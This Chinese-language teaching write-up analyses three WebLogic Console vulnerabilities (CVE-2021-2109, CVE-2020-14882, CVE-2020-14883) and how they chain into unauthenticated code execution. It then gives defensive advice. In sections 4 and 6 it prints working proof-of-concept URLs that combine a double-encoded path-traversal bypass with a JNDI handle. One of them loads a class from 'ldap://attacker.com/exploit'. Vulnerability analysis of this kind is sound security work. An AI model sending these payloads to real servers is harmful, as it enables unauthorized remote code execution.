Weblogic Console漏洞分析
字数 2169 2025-08-10 08:28:37
WebLogic Console漏洞分析教学文档
1. 漏洞概述
本教学文档详细分析WebLogic Console中的三个关键漏洞:CVE-2021-2109、CVE-2020-14882和CVE-2020-14883。这些漏洞组合使用可实现未授权远程代码执行(RCE)。
2. CVE-2021-2109 JNDI注入漏洞
2.1 漏洞原理
- 这是一个管理员权限下的JNDI注入漏洞
- 可结合CVE-2020-14882认证绕过漏洞实现未授权RCE
- 绕过了Oracle对CVE-2020-14883漏洞的补丁中对handle参数的校验
2.2 技术细节
-
补丁绕过机制:
- 补丁在
com.bea.console.handles.HandleFactory#getHandle方法中检查传入类的类型 - 通过
com.bea.console.handles.JndiBindingHandle子类的构造方法传入JNDI URL作为payload
- 补丁在
-
JNDI注入触发点:
- 在
com.bea.console.actions.jndi.JNDIBindingAction#execute方法中 - 构造
JndiBindingHandle对象并获取JNDI payload - 进行特定拼接后调用
javax.naming.Context#lookup实现JNDI注入
- 在
3. CVE-2020-14882 认证绕过漏洞
3.1 漏洞原理
- 通过路径穿越构造满足unrestricted资源的URL
- 绕过鉴权访问受限资源
3.2 技术细节
3.2.1 URL处理流程
- 在
AbstractHttpConnectionHandler#dispatch中 - 在
AbstractHttpRequestParser#decodeURI中进行URL解码 - 解码后的URL用于路由判断
3.2.2 关键绕过点
-
路径穿越构造:
- 使用
/css/%25%32%65%25%32%65%25%32%66/等编码形式 - 经过两次URL解码后还原出攻击者意图访问的受限资源
- 使用
-
路由判断机制:
WebAppSecurity#checkAccess方法获取资源约束- 通过
StandardURLMapping类判断URL是否属于无需认证的资源(如/css/*)
-
最终目标:
- 路径穿越到
/console/console.portal - 使
WebAppSecurity#hasPermission返回true
- 路径穿越到
4. CVE-2020-14883 管理员权限下的任意代码执行
4.1 漏洞原理
- 管理员权限下的任意代码执行漏洞
- 可通过特殊路径
/console/__Streaming.portal触发
4.2 技术细节
4.2.1 触发方式
- 请求示例:
/console/__Streaming.portal?file=/console.portal /console/__Streaming.portal?file=/consolejndi.portal
4.2.2 替代触发点
- 使用特殊类
com.bea.console.handles.JndiContextHandle - 示例PoC:
/console/css/%25%32%65%25%32%65%25%32%66/console.portal?_pageLabel=EJBTestHomePage&_nfpb=true&handle=com.bea.console.handles.JndiContextHandle(-ldap://192.168.85.1:1389/1;AdminServer--&returnTo=EJBTestHomePage
4.2.3 Action执行机制推测
- 继承
org.apache.struts.action.Action并实现execute方法 - 在
<netuix:strutsContent>中指定action为类名 - 或使用
@Jpf.Action注解方法 - 在
<netuix:pageflowContent>中指定action为方法名
5. JNDI注入payload构造
5.1 必要条件
serverMBean不为空- 需要
domainMBean.lookupServer(serverName)返回值 - 默认情况下参数必须为
AdminServer
5.2 payload结构
- 格式:
ldap://127;0.0.1:1389/;AdminServer - 解析过程:
- 通过
getComponent()方法处理 - 以
;为分隔符拆分字符串 - 第0和第1部分用
.拼接形成完整LDAP URL - 第2部分必须为
AdminServer
- 通过
5.3 构造示例
- 有效payload:
解析为:ldap://127;0.0.1:1389/lnuvcv;AdminServerldap://127.0.0.1:1389/lnuvcv
5.4 特殊构造技巧
- handle参数名可以是以"handle"结尾的任何字符串(如"111handle")
- 括号内可以使用任意字符作为分隔符,不限于引号
6. 漏洞组合利用
6.1 完整利用链
- 利用CVE-2020-14882绕过认证
- 利用CVE-2021-2109或CVE-2020-14883执行JNDI注入
- 通过LDAP服务加载恶意类实现RCE
6.2 示例PoC
/console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&handle=com.bea.console.handles.JndiBindingHandle(%22ldap://attacker.com/exploit;AdminServer%22)
7. 防御建议
- 及时应用Oracle官方补丁
- 限制WebLogic Console的访问权限
- 监控对
/console/css/路径的异常访问 - 禁用不必要的JNDI查找功能
- 实施网络层防护,限制出站LDAP连接
8. 参考资源
- WebLogic one GET request RCE 分析(CVE-2020-14882+CVE-2020-14883)
- [CVE-2020-14882/14883]WebLogic console认证绕过+任意代码执行
- Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)
- CVE-2020-14882&CVE-2020-14883分析